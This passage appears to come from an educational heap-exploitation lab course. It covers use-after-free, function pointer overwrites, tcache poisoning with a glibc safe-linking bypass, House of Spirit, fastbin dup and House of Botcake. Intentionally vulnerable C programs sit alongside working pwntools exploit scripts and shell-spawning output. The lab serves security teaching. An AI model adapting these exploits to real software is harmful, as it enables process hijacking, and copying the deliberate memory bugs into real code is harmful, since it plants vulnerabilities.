┌─────────────────────────┐
│ Chunk metadata (user1)  │ (16 bytes on AMD64)
├─────────────────────────┤
│ user1->name[32]         │ ← strcpy writes here
├─────────────────────────┤
│ user1->print_func (8B)  │ ← Can be overwritten!
├─────────────────────────┤
│ Chunk metadata (user2)  │
├─────────────────────────┤
│ user2->name[32]         │
├─────────────────────────┤
│ user2->print_func (8B)  │
└─────────────────────────┘

Overflow scenario:
- read() into user1->name with 40+ bytes
- Overwrites user1->print_func
- Can redirect execution!
- Note: read() allows null bytes (unlike strcpy)!

Exploiting Function Pointer Overwrite

Exploit Strategy:

  1. Overflow user1->name (32 bytes)
  2. Overwrite user1->print_func with address of admin_function
  3. When user1->print_func() is called, get shell

Find admin_function address:

objdump -d vuln_heap | grep admin_function
# Output: 00000000004011a0 <admin_function>:

# Or in GDB:
gdb ./vuln_heap
(gdb) info functions admin

Exploit (AMD64):

#!/usr/bin/env python3
#~/exploit/exploit_heap.py
from pwn import *

binary = './vuln_heap'
elf = ELF(binary)
context.binary = elf  # Sets AMD64!

# Find admin_function address
admin_addr = elf.symbols['admin_function']
log.info(f"admin_function @ {hex(admin_addr)}")

# Build payload (AMD64 - use p64!)
# read() allows null bytes unlike strcpy()!
payload = b"A" * 32              # Fill user1->name
payload += p64(admin_addr)       # Overwrite user1->print_func (8 bytes!)

# Exploit via stdin (read() handles null bytes)
p = process(binary, stdin=PTY, stdout=PTY)
p.recvuntil(b'Enter name: ')
p.send(payload)
p.interactive()

Test:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap.py
# Admin access granted to AAAAA...
$ id
uid=1000(user) gid=1000(user)

[!NOTE] Why does system() work here but not in ROP chains?

Intel CET (SHSTK/IBT) blocks indirect jumps/calls via corrupted return addresses (ROP). But function pointer overwrites are direct calls - the program legitimately calls through a pointer, which CET allows. This is why heap exploits targeting function pointers still work on modern libc, while stack-based ROP to system() fails.

When CET blocks you:

  • ROP chains returning to system() via stack corruption
  • ret2libc attacks using gadgets

When CET does NOT block you:

  • Function pointer overwrites (heap, GOT if writable)
  • Direct control flow hijack to existing functions
  • One_gadget (uses internal code paths that satisfy CET)

Heap Metadata Corruption

Unlink Exploit (Classic technique):

Concept:

  • Corrupt free chunk metadata (fd/bk pointers)
  • When chunk is unlinked from bin, write arbitrary address
  • Achieve write-what-where primitive

Vulnerable Code (unlink_vuln.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char *a, *b, *c;

    // Allocate three chunks
    a = malloc(100);
    b = malloc(100);
    c = malloc(100);

    printf("a = %p\n", a);
    printf("b = %p\n", b);
    printf("c = %p\n", c);

    // Read input into 'a' (vulnerable)
    printf("Enter data: ");
    gets(a);  // No bounds check!

    // Free chunks (triggers unlink)
    free(b);
    free(a);

    // Allocate again (use corrupted metadata)
    char *d = malloc(100);
    strcpy(d, "Controlled data");

    return 0;
}

Exploit Technique:

  1. Overflow chunk 'a' into chunk 'b'
  2. Fake chunk 'b' metadata:
    • Set prev_size to overflow into 'a'
    • Set size with prev_inuse=0 (fake free)
    • Set fd/bk to target addresses
  3. Free chunk 'b'
  4. Unlink writes: _(fd) = bk and _(bk) = fd
  5. Arbitrary write achieved!

Modern Protections:

  • Safe unlinking (glibc 2.3.4+)
  • Checks: fd->bk == chunk && bk->fd == chunk
  • Makes classic unlink harder

Legacy Tcache Poisoning (glibc 2.27-2.31, no safe-linking):

This is the foundational technique to learn before tackling modern bypasses:

/* tcache_poison_legacy.c - Works on glibc < 2.32 (Ubuntu 20.04) */
// make disabled SOURCE=tcache_poison_legacy.c BINARY=tcache_poison_legacy
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

int main() {
    setbuf(stdout, NULL);
    uint64_t target = 0;
    printf("Target at %p, value: %lu\n", &target, target);

    void *a = malloc(0x20);
    void *b = malloc(0x20);  // Prevent consolidation
    printf("Chunk A: %p\n", a);
    printf("Chunk B: %p\n", b);

    free(a);
    // tcache[0x30] -> A -> NULL

    // VULNERABILITY: Use-after-free or buffer overflow to corrupt A's fd pointer
    // In a real program, this would be via:
    // - UAF: writing to freed chunk A
    // - Overflow: overflowing from another chunk into A
    printf("Enter corruption data (hex address of target - 0x10): ");
    char input[32];
    fgets(input, sizeof(input), stdin);

    // Corrupt the fd pointer of freed chunk A
    uint64_t corrupt_addr;
    sscanf(input, "%lx", &corrupt_addr);
    *(uint64_t*)a = corrupt_addr;  // This is the vulnerability!

    malloc(0x20);  // Returns A
    void *c = malloc(0x20);  // Returns target!
    *(uint64_t*)c = 0xdeadbeef;
    printf("Target after: 0x%lx\n", target);
    return 0;
}

For testing on Ubuntu 24.04 (glibc 2.39 with safe-linking):

/* tcache_poison_modern.c - Demonstrates safe-linking protection */
// make disabled SOURCE=tcache_poison_modern.c BINARY=tcache_poison_modern
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("Demonstrating correct tcache poisoning on glibc 2.39 with safe-linking\n\n");

    // Create aligned target on stack
    size_t stack_var[0x10];
    size_t *target = NULL;

    // Find properly aligned target
    for(int i = 0; i < 0x10; i++) {
        if(((long)&stack_var[i] & 0xf) == 0) {
            target = &stack_var[i];
            break;
        }
    }
    assert(target != NULL);

    *target = 0;  // Initialize
    printf("Target address: %p, value: %lu\n", target, *target);

    printf("Allocating buffers...\n");
    intptr_t *a = malloc(128);
    printf("malloc(128): %p\n", a);
    intptr_t *b = malloc(128);
    printf("malloc(128): %p\n", b);

    printf("Freeing buffers to build tcache chain...\n");
    free(a);
    free(b);

    printf("Now the tcache list has [ %p -> %p ].\n", b, a);

    // This is the correct safe-linking formula for glibc 2.39
    printf("Corrupting b's fd pointer with safe-linking...\n");
    printf("Safe-linking key: 0x%lx (b >> 12)\n", (long)b >> 12);
    printf("Target: %p\n", target);
    printf("Corrupted value: 0x%lx\n", (long)target ^ ((long)b >> 12));

    // VULNERABILITY: Use-after-free to corrupt fd pointer
    b[0] = (intptr_t)((long)target ^ ((long)b >> 12));

    printf("Now the tcache list has [ %p -> %p ].\n", b, target);

    printf("Draining tcache:\n");
    printf("1st malloc(128): %p\n", malloc(128));
    printf("Now the tcache list has [ %p ].\n", target);

    intptr_t *c = malloc(128);
    printf("2nd malloc(128): %p\n", c);

    if ((long)target == (long)c) {
        printf("SUCCESS! We got control of %p\n", c);
        *c = 0xdeadbeef;
        printf("Target value after corruption: 0x%lx\n", *target);
        printf("tcache poisoning successful!\n");
    } else {
        printf("Failed. Expected %p, got %p\n", target, c);
    }

    return 0;
}

Why This Works (glibc 2.39 safe-linking bypass):

Before corruption:                After corruption:
tcache[0x80] → B → A → NULL       tcache[0x80] → B → TARGET

Key derivation:                   Safe-linking formula:
key = chunk_addr >> 12             corrupted_fd = target ^ (chunk >> 12)

malloc(128):                       malloc(128):
  Returns B, tcache → A              Returns B, tcache → TARGET

malloc(128):                       malloc(128):
  Returns A                          Returns TARGET! (arbitrary alloc)

Critical Requirements for glibc 2.39+:

  1. Safe-linking key: key = chunk_address >> 12 (simple right shift)
  2. Target alignment: Must be 0x10-aligned to avoid "unaligned tcache chunk detected"
  3. Corruption position: Target the SECOND tcache entry (B), not the first (A)
  4. Proper chaining: Free A then B, corrupt B's fd, drain A, get target

Real-World Impact:

  • Bypasses modern glibc protections: Works on Ubuntu 24.04 (glibc 2.39)
  • Arbitrary write: Achieves write-what-where primitive
  • ASLR bypass: No need for leaks if you have a known target
  • Reliable: High success rate when conditions are met

glibc 2.35+ / Ubuntu 24.04

Key Changes in Modern glibc:

VersionChangeImpactUbuntu Version
2.32+Tcache pointer XOR (safe-linking)XOR key from chunk addr (chunk_addr >> 12)22.04+
2.34+__malloc_hook removedHook overwrite attacks dead22.04+
2.35+Enhanced tcache key checksDouble-free detection improved23.04+
2.37+global_max_fast type changeFastbin size attacks limited23.10+
2.38+_IO_list_all checks tightenedFSOP attacks significantly harder24.04+
2.39+Additional largebin checksLargebin attack constraints24.04

Safe-Linking Explained (glibc 2.32+):

Safe-linking protects singly-linked list pointers (tcache and fastbin) using XOR mangling:

// ACTUAL glibc 2.39 formula (simplified):
// stored_fd = (chunk_address >> 12) XOR target_pointer
// To decode: target = stored_fd XOR (chunk_address >> 12)

// In our working example:
key = chunk_b_address >> 12          // Simple right shift by 12
corrupted_fd = target_address ^ key   // XOR with target

Bypassing Safe-Linking (working method for glibc 2.39):

# Step 1: Get chunk address (from freed chunk you control)
chunk_addr = 0x1976c330  # Address of chunk B in our example

# Step 2: Calculate XOR key (simple right shift!)
xor_key = chunk_addr >> 12  # 0x1976c330 >> 12 = 0x1976c

# Step 3: Forge tcache entry pointing to target
target_addr = 0x7ffda6be06e0  # Our aligned stack target
fake_fd = target_addr ^ xor_key  # 0x7ffda6be06e0 ^ 0x1976c

# Step 4: Write fake_fd to freed chunk's fd field
chunk_b[0] = fake_fd  # Use-after-free corruption

# Step 5: malloc() twice - second returns target!
malloc(128)  # Returns chunk B
malloc(128)  # Returns our target address!

Key Insights from Working Implementation:

  1. No heap leak needed: The key is derived from the chunk you're corrupting
  2. Simple formula: Just chunk_addr >> 12, not complex heap base calculations
  3. Alignment critical: Target must be 0x10-aligned or glibc aborts
  4. Position matters: Corrupt the SECOND tcache entry, not the first

[!NOTE]
Exception: tcache_perthread_struct counts are NOT protected by safe-linking!
This enables advanced techniques like House of Water for leakless attacks.

Modern Techniques Still Working:

  1. Tcache Stash Unlink (TSU): Smallbin → tcache manipulation
  2. House of Lore variants: Smallbin bk pointer corruption
  3. Largebin attacks: Still viable for arbitrary write
  4. Tcache struct hijack: Control allocation via tcache_perthread_struct

Practicing Classic Heap Techniques (Docker Setup):

For learning classic heap exploitation without modern hardening:

# Docker container with older glibc for learning
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
    ubuntu:20.04 /bin/bash

# Inside container:
apt update && apt install -y build-essential gdb python3-pip
pip3 install pwntools

# Check glibc version
ldd --version
# 2.31 - no safe-linking, hooks still exist!

Patchelf for Specific glibc Versions:

# Download specific glibc version
# https://libc.rip/ or https://github.com/matrix1001/glibc-all-in-one

# Patch binary to use older libc
patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./vulnerable
# Now binary uses your specified glibc

Practical Exercise

Exercise: Exploit heap overflow vulnerabilities

Setup:

# Clone how2heap for examples
cd ~/tuts
git clone --depth 1 https://github.com/shellphish/how2heap
cd how2heap

# Compile examples
make v$(ldd --version | head -1 | awk '{print $NF}')

Exercise: Function Pointer Overwrite

  1. Compile vuln_heap.c
  2. Find admin_function address
  3. Build exploit to overwrite print_func
  4. Get shell

Exercise: Heap Spray

  1. Allocate many chunks
  2. Fill with shellcode
  3. Trigger vulnerability to jump into spray
  4. Execute shellcode

Exercise: Tcache Poisoning (Modern)

  1. Study how2heap/tcache_poisoning.c
  2. Understand tcache bin structure
  3. Corrupt fd pointer
  4. Allocate at arbitrary address

Success Criteria:

  • Function pointer overwrite works
  • Heap spray successful
  • Understand modern heap protections
  • Can explain tcache attack surface

Key Takeaways

  1. Heap is more complex than stack: Multiple allocator structures
  2. Metadata corruption is powerful: Enables write-what-where
  3. Modern heaps have protections: Safe unlinking, tcache checks, safe-linking (2.32+)
  4. Function pointers are targets: Easy to exploit if reachable - bypasses CET!
  5. Heap spray can bypass ASLR: Fill memory with shellcode
  6. CET doesn't block function pointer overwrites: Unlike ROP, direct calls work
  7. Modern libc removed __malloc_hook: Can't use hook overwrites anymore (2.34+)

Discussion Questions

  1. Why is heap exploitation more complex than stack overflow?
  2. How do safe unlinking checks prevent classic unlink attacks?
  3. What makes tcache a good target for exploitation?
  4. How would you detect heap corruption at runtime?

Day 4: Heap Exploitation Part 2 – Modern Techniques

Deliverables

  • Environment: glibc version recorded (ldd --version) and which how2heap example(s) you used
  • Reproduction: at least one modern technique reproduced end-to-end (e.g., tcache poisoning with safe-linking)
  • Primitive proof: demonstrated controlled allocation to a chosen address (and explained the safe-linking XOR key)
  • Notes: minimal writeup showing the exact leak used (heap/libc) and how it enables the technique

Use-After-Free Exploitation (Foundation)

UAF is a type of vulnerability; tcache/fastbin poisoning is the technique to exploit it.

Classic UAF Pattern:

// 1. Allocate object with function pointer
Object *obj = malloc(sizeof(Object));
obj->callback = normal_func;

// 2. Free the object (but keep the pointer)
free(obj);
// obj is now a DANGLING POINTER

// 3. Allocate new object of same size (gets same memory)
Evil *evil = malloc(sizeof(Evil));
evil->fake_callback = shell_func;

// 4. Use the dangling pointer (calls attacker's function!)
obj->callback();  // BOOM - calls shell_func

UAF Heap Feng Shui:

The key to reliable UAF exploitation is controlling what gets allocated in the freed memory.

Heap Feng Shui Strategy:
═══════════════════════════════════════════════════════════════════

Step 1: Understand allocation sizes
        Target object: 0x40 bytes (User struct)
        Attacker input: Can we create a 0x40 byte allocation?

Step 2: Prime the heap
        - Free target object
        - Ensure tcache/fastbin has space

Step 3: Spray controlled data
        - Allocate objects of same size class
        - Fill with attacker-controlled content

Step 4: Trigger UAF
        - Use dangling pointer
        - Access now-controlled memory

Interactive UAF Target (vuln_uaf.c):

// ~/exploit/vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char name[32];
    void (*callback)(void);
} Object;

Object *obj = NULL;
char *spray_buf = NULL;

void normal_func(void) {
    printf("Normal callback executed\n");
}

void admin_func(void) {
    printf("Admin function triggered! Spawning shell...\n");
    system("/bin/sh");
}

void menu(void) {
    printf("\n1. create\n2. delete\n3. use\n4. spray\n5. exit\n> ");
    fflush(stdout);
}

int main(void) {
    char cmd[16];
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1) {
        menu();
        if (read(0, cmd, sizeof(cmd)) <= 0) break;

        if (strncmp(cmd, "create", 6) == 0 || cmd[0] == '1') {
            obj = malloc(sizeof(Object));
            obj->callback = normal_func;
            printf("name: ");
            fflush(stdout);
            read(0, obj->name, 31);
            printf("Object created at %p\n", obj);
        }
        else if (strncmp(cmd, "delete", 6) == 0 || cmd[0] == '2') {
            if (obj) {
                free(obj);
                // BUG: obj not set to NULL - dangling pointer!
                printf("Object freed (but pointer kept!)\n");
            }
        }
        else if (strncmp(cmd, "use", 3) == 0 || cmd[0] == '3') {
            if (obj) {
                printf("Calling callback...\n");
                obj->callback();  // UAF: uses freed memory!
            }
        }
        else if (strncmp(cmd, "spray", 5) == 0 || cmd[0] == '4') {
            // Allocate same size as Object to reclaim freed chunk
            spray_buf = malloc(sizeof(Object));
            printf("data: ");
            fflush(stdout);
            read(0, spray_buf, sizeof(Object));
            printf("Spray allocated at %p\n", spray_buf);
        }
        else if (strncmp(cmd, "exit", 4) == 0 || cmd[0] == '5') {
            break;
        }
    }
    return 0;
}

Compile:

cd ~/exploit
make disabled SOURCE=vuln_uaf.c BINARY=vuln_uaf
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_uaf.c -o vuln_uaf

Complete UAF Exploit Example:

#!/usr/bin/env python3
# ~/exploit/exploit_uaf.py
"""
UAF Exploit demonstrating heap feng shui
Target: vuln_uaf with create/delete/use/spray commands
"""
from pwn import *

context.arch = 'amd64'
binary = './vuln_uaf'
elf = ELF(binary)

def create(p, name):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'name: ', name)

def delete(p):
    p.sendlineafter(b'> ', b'2')

def use(p):
    p.sendlineafter(b'> ', b'3')

def spray(p, data):
    """Allocate same-size chunk with controlled data"""
    p.sendlineafter(b'> ', b'4')
    p.sendafter(b'data: ', data)

def exploit():
    p = process(binary)

    # Find target function
    win = elf.symbols['admin_func']
    log.info(f"admin_func @ {hex(win)}")

    # Step 1: Create legitimate object
    create(p, b'AAAA')

    # Step 2: Free it (creates dangling pointer)
    delete(p)

    # Step 3: Spray to reclaim freed memory
    # Object struct: char name[32] + void (*callback)(void)
    payload = b'X' * 32  # Fill name field
    payload += p64(win)  # Overwrite callback pointer
    spray(p, payload)

    # Step 4: Use dangling pointer (calls our controlled callback)
    use(p)

    p.interactive()

if __name__ == '__main__':
    exploit()

Test:

cd ~/exploit
python3 exploit_uaf.py

Test Results:

[+] Starting local process './vuln_uaf': pid 2308
[*] admin_func @ 0x4011bc
[*] Switching to interactive mode
Calling callback...
Admin function triggered! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$ exit

Exploit Success:

  • admin_func found at static address 0x4011bc (No PIE)
  • UAF exploit successfully overwrote callback pointer
  • Shell spawned with user privileges
  • Interactive shell obtained, confirming full control

Why This Works:

  1. UAF Pattern: obj pointer isn't NULLed after free(), creating a dangling pointer
  2. Heap Reuse: spray() allocates same-sized chunk (sizeof(Object)) that reclaims freed memory
  3. Controlled Overwrite: Spray payload overwrites callback pointer with admin_func address
  4. Trigger: use() calls obj->callback() which now points to attacker-controlled function
  5. No ASLR Bypass Needed: Binary has No PIE, so admin_func address is static

Key Insight: UAF exploitation is about controlling what gets allocated in freed memory and then using the dangling pointer to access attacker-controlled data.

Tcache House of Spirit (glibc 2.41)

Key insight from malloc.c: tcache_put() is called without checking if next chunk's size and prev_inuse are sane (search for "invalid next size" and "double free or corruption" - those checks are bypassed).

// ~/exploit/tcache_house_of_spirit.c
// Fake chunk free without next chunk validation
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
    setbuf(stdout, NULL);
    malloc(1);  // Initialize heap

    // Fake chunk region on stack (must be 16-byte aligned!)
    unsigned long long fake_chunks[10] __attribute__((aligned(0x10)));

    /* Requirements for fake chunk:
     * 1. Size must be tcache range: chunk.size <= 0x410 (malloc arg <= 0x408)
     * 2. PREV_INUSE (bit 0): ignored by tcache free
     * 3. IS_MMAPPED (bit 1): must be 0 (causes problems)
     * 4. NON_MAIN_ARENA (bit 2): must be 0 (causes problems)
     * 5. Region must be 16-byte aligned
     */
    fake_chunks[1] = 0x40;  // Size field (0x30-0x38 requests round to 0x40)

    printf("Fake chunk size at: %p\n", &fake_chunks[1]);
    printf("Fake chunk data at: %p\n", &fake_chunks[2]);

    // Simulate pointer overwrite vulnerability
    unsigned long long *a = &fake_chunks[2];  // Points to "user data" of fake chunk

    // Free the fake chunk - goes to tcache without validation!
    free(a);

    // Next malloc of matching size returns our fake region
    void *b = malloc(0x30);
    printf("malloc(0x30) returned: %p\n", b);

    assert((long)b == (long)&fake_chunks[2]);
    printf("SUCCESS: Got allocation in fake chunk region!\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_house_of_spirit.c -o tcache_house_of_spirit
./tcache_house_of_spirit

Test Results:

Fake chunk size at: 0x7ffea7295d98
Fake chunk data at: 0x7ffea7295da0
malloc(0x30) returned: 0x7ffea7295da0
SUCCESS: Got allocation in fake chunk region!

Attack Success:

  • Fake chunk created on stack at 0x7ffea7295d98 (size field)
  • Data area at 0x7ffea7295da0 (8 bytes later due to chunk header)
  • malloc(0x30) returns our fake chunk data area
  • Stack memory successfully allocated via heap allocator

Why This Works:

  1. No Next Chunk Validation: Unlike fastbin, tcache free() doesn't validate the next chunk's size field
  2. Simple Fake Chunk: Only need size field (0x40) in fake_chunks[1], no complex metadata
  3. Pointer Arithmetic: a = &fake_chunks[2] points to "user data" area of fake chunk
  4. Alignment: __attribute__((aligned(0x10))) ensures 16-byte alignment for modern glibc
  5. Size Range: 0x40 is valid tcache size (requests 0x30-0x38 round to 0x40)

Warning Explained: The compiler warning is expected - we're intentionally freeing stack memory as a fake chunk, which is the whole point of the attack!

Why Tcache House of Spirit is Easier:

AspectOriginal (Fastbin)Tcache Version
Next chunk validationRequiredNot needed
Size constraintsFastbin range onlyUp to 0x410
ComplexityMust craft 2 fake chunksOnly 1 fake chunk
glibc versionWorks on olderWorks on 2.41

Attack Pattern:

  1. Find/create writable region with controlled data
  2. Set up fake size field (0x20-0x410 range, bits 1-2 = 0)
  3. Ensure 16-byte alignment
  4. Overwrite pointer to point to fake chunk's data region
  5. free(corrupted_ptr) → fake chunk goes to tcache
  6. malloc(matching_size) → returns your controlled region!

Tcache Metadata Poisoning (Direct Metadata Control)

// ~/exploit/tcache_metadata_poisoning.c
// Direct metadata control for arbitrary allocation
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

#define TCACHE_BINS 64
#define HEADER_SIZE 0x10

struct tcache_metadata {
    uint16_t counts[TCACHE_BINS];      // Number of chunks per bin
    void *entries[TCACHE_BINS];         // Head of each bin
};

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // Target MUST be 16-byte aligned for modern glibc!
    uint64_t stack_target[4] __attribute__((aligned(0x10)));
    stack_target[0] = 0x1337;
    printf("Target on stack: %p\n\n", stack_target);

    // Initialize heap and find metadata
    uint64_t *victim = malloc(0x10);
    printf("Victim chunk: %p\n", victim);

    // Metadata is at start of heap page
    struct tcache_metadata *metadata =
        (struct tcache_metadata *)((long)victim - HEADER_SIZE - sizeof(struct tcache_metadata));
    printf("Tcache metadata: %p\n\n", metadata);

    // VULNERABILITY: Direct write to metadata
    // Insert target into bin 1 (0x20 size class)
    metadata->counts[1] = 1;
    metadata->entries[1] = stack_target;

    // Allocate from bin 1
    uint64_t *evil = malloc(0x20);
    printf("Got allocation at: %p\n", evil);

    assert(evil == stack_target);
    printf("SUCCESS: Arbitrary allocation achieved!\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_metadata_poisoning.c -o tcache_metadata_poisoning
./tcache_metadata_poisoning

Test Results:

Target on stack: 0x7ffd375a38c0

Victim chunk: 0x28d522a0
Tcache metadata: 0x28d52010

Got allocation at: 0x7ffd375a38c0
SUCCESS: Arbitrary allocation achieved!

Attack Success:

  • Stack target at 0x7ffd375a38c0 (16-byte aligned)
  • Victim chunk at 0x28d522a0 used to locate metadata
  • Tcache metadata found at 0x28d52010 (start of heap page)
  • Direct metadata corruption inserted target into bin 1
  • malloc(0x20) returned stack address - arbitrary allocation achieved!

Why This Works:

  • Direct Metadata Control: Overwrites counts[1] and entries[1] directly
  • No Safe-Linking: Metadata corruption bypasses pointer protection
  • Immediate Effect: Next malloc(0x20) returns controlled address
  • Powerful Primitive: Gives arbitrary allocation capability

Tcache Poisoning with Safe-Linking Bypass (Working glibc 2.39)

// ~/exploit/tcache_poisoning_safelink.c
// Modern tcache poisoning requires heap leak for safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // Target must be 16-byte aligned!
    size_t stack_var[0x10];
    size_t *target = NULL;
    for(int i=0; i<0x10; i++) {
        if(((long)&stack_var[i] & 0xf) == 0) {
            target = &stack_var[i];
            break;
        }
    }
    assert(target != NULL);
    printf("Target (aligned): %p\n", target);

    intptr_t *a = malloc(128);
    intptr_t *b = malloc(128);
    printf("a: %p, b: %p\n", a, b);

    free(a);
    free(b);
    // tcache: b -> a -> NULL

    // VULNERABILITY: Corrupt b's next pointer
    // Must XOR with (chunk_addr >> 12) for safe-linking bypass
    b[0] = (intptr_t)((long)target ^ ((long)b >> 12));

    malloc(128);  // Returns b
    intptr_t *c = malloc(128);  // Returns target!
    printf("Got control at: %p\n", c);
    assert((long)target == (long)c);
    printf("SUCCESS: Tcache poisoning with safe-linking bypass!\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_poisoning_safelink.c -o tcache_poisoning_safelink
./tcache_poisoning_safelink

Test Results:

Target (aligned): 0x7ffda554a440
a: 0x2b5992a0, b: 0x2b599330
Got control at: 0x7ffda554a440
SUCCESS: Tcache poisoning with safe-linking bypass!

Attack Success:

  • Found 16-byte aligned stack target at 0x7ffda554a440
  • Chunks a at 0x2b5992a0 and b at 0x2b599330 allocated
  • After double free: tcache contains b -> a -> NULL
  • Safe-linking bypass: target ^ (b >> 12) written to b[0]
  • Second malloc(128) returned our stack target!

Why This Works:

  • Safe-Linking Bypass: XOR with (chunk_addr >> 12) defeats pointer protection
  • Double Free: Creates tcache list we can corrupt
  • Pointer Corruption: Overwrites next pointer with encoded target
  • Arbitrary Allocation: Next malloc returns controlled address

Fastbin Dup (Modern - glibc 2.41)

Modern Double Free via Fastbin:

// ~/exploit/fastbin_dup.c
// Modern version requiring tcache fill + safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
    setbuf(stdout, NULL);

    // Must fill tcache first (7 chunks for 0x30 size class)
    void *tcache[7];
    for(int i = 0; i < 7; i++) {
        tcache[i] = malloc(0x20);
    }

    void *a = malloc(0x20);
    void *b = malloc(0x20);  // Separator chunk

    printf("a: %p\n", a);
    printf("b: %p\n", b);

    // Fill tcache
    for(int i = 0; i < 7; i++) {
        free(tcache[i]);
    }

    // Now chunks go to fastbin (tcache full)
    free(a);
    free(b);    // fastbin: b -> a -> NULL
    free(a);    // Double free! fastbin: a -> b -> a -> (cycle!)

    // Empty tcache first
    for(int i = 0; i < 7; i++) {
        malloc(0x20);
    }

    // Now allocations come from fastbin
    void *c = malloc(0x20);  // Gets 'a'
    void *d = malloc(0x20);  // Gets 'b'
    void *e = malloc(0x20);  // Gets 'a' AGAIN!

    printf("c: %p\n", c);
    printf("d: %p\n", d);
    printf("e: %p\n", e);

    // c and e point to same memory!
    assert(c == e);
    printf("SUCCESS: c == e (double allocation of same memory!)\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_dup.c -o fastbin_dup
./fastbin_dup

Test Results:

a: 0x22c663f0
b: 0x22c66420
c: 0x22c663f0
d: 0x22c66420
e: 0x22c663f0
SUCCESS: c == e (double allocation of same memory!)

Attack Success:

  • Chunks allocated: a at 0x22c663f0, b at 0x22c66420
  • After tcache fill and double free: fastbin contains cycle a -> b -> a
  • Allocations: c gets a, d gets b, e gets a again!
  • Double allocation achieved: c and e point to same memory

Why This Works:

  • Tcache Fill: 7 chunks fill tcache, forcing frees to fastbin
  • Double Free: Creates cycle in fastbin list
  • No Safe-Linking: Fastbin doesn't use safe-linking protection
  • Double Allocation: Same chunk returned twice

House of Botcake (glibc 2.29+ Double-Free Bypass)

// ~/exploit/house_of_botcake.c
// Bypass tcache double-free detection
// Trick: Free chunk to unsorted bin, consolidate, then free to tcache
// Result: Same memory in both unsorted bin and tcache!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // Target MUST be 16-byte aligned for modern glibc!
    intptr_t stack_var[4] __attribute__((aligned(0x10)));
    memset(stack_var, 0, sizeof(stack_var));
    printf("Target on stack: %p\n\n", stack_var);

    // Allocate 7 chunks to fill tcache later
    intptr_t *x[7];
    for(int i = 0; i < 7; i++) x[i] = malloc(0x100);

    // Allocate victim and prev (will consolidate)
    intptr_t *prev = malloc(0x100);
    intptr_t *victim = malloc(0x100);
    malloc(0x10);  // Guard against top chunk consolidation

    printf("prev: %p\n", prev);
    printf("victim: %p\n\n", victim);

    // Fill tcache
    for(int i = 0; i < 7; i++) free(x[i]);

    // Free to unsorted bin (tcache full)
    free(victim);  // unsorted bin
    free(prev);    // consolidates with victim!

    // Empty one tcache slot
    malloc(0x100);

    // Free victim AGAIN - goes to tcache (double free!)
    // Key: victim is ALSO part of consolidated chunk in unsorted bin
    free(victim);

    // Allocate from unsorted bin - get consolidated chunk overlapping victim
    // Size 0x160 to cover prev chunk + overlap into victim's next ptr
    intptr_t *overlapping = malloc(0x160);

    printf("overlapping chunk: %p\n", overlapping);
    printf("victim tcache entry at: %p\n", victim);

    // Calculate offset from overlapping to victim's next pointer
    // victim's user data starts at same addr, next ptr is at offset 0
    size_t offset = ((char*)victim - (char*)overlapping) / sizeof(intptr_t);
    printf("offset to victim: %zu words\n\n", offset);

    // Poison victim's next pointer (now accessible via overlapping chunk)
    // Account for safe-linking: target ^ (chunk_addr >> 12)
    overlapping[offset] = ((long)victim >> 12) ^ (long)stack_var;

    // Pop victim from tcache, putting stack_var at head
    malloc(0x100);

    // Get arbitrary allocation!
    intptr_t *target = malloc(0x100);
    target[0] = 0xcafebabe;

    printf("target @ %p == stack_var @ %p\n", target, stack_var);
    printf("stack_var[0] = 0x%lx\n", stack_var[0]);

    if (target == stack_var) {
        assert(stack_var[0] == 0xcafebabe);
        printf("SUCCESS: House of Botcake - wrote 0x%lx to stack!\n", stack_var[0]);
    } else {
        printf("NOTE: Exploit didn't land on stack (heap layout dependent)\n");
        printf("      This demonstrates the technique - adjust offsets for your target\n");
    }
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro house_of_botcake.c -o house_of_botcake
./house_of_botcake

Test Results:

Target on stack: 0x7ffe38860b00

prev: 0xcd4aa10
victim: 0xcd4ab20

overlapping chunk: 0xcd4aa10
victim tcache entry at: 0xcd4ab20
offset to victim: 34 words

target @ 0x7ffe38860b00 == stack_var @ 0x7ffe38860b00
stack_var[0] = 0xcafebabe
SUCCESS: House of Botcake - wrote 0xcafebabe to stack!

Attack Success:

  • Stack target at 0x7ffe38860b00 (16-byte aligned)
  • Chunks: prev at 0xcd4aa10, victim at 0xcd4ab20
  • Overlapping chunk gives write access to victim's metadata
  • Offset 34 words to victim's tcache next pointer
  • Safe-linking bypass: target ^ (victim >> 12) written
  • Arbitrary write achieved: 0xcafebabe written to stack!

Why This Works:

  • Consolidation Trick: Chunk consolidation creates overlapping memory
  • Tcache Double Placement: Same chunk in both unsorted bin and tcache
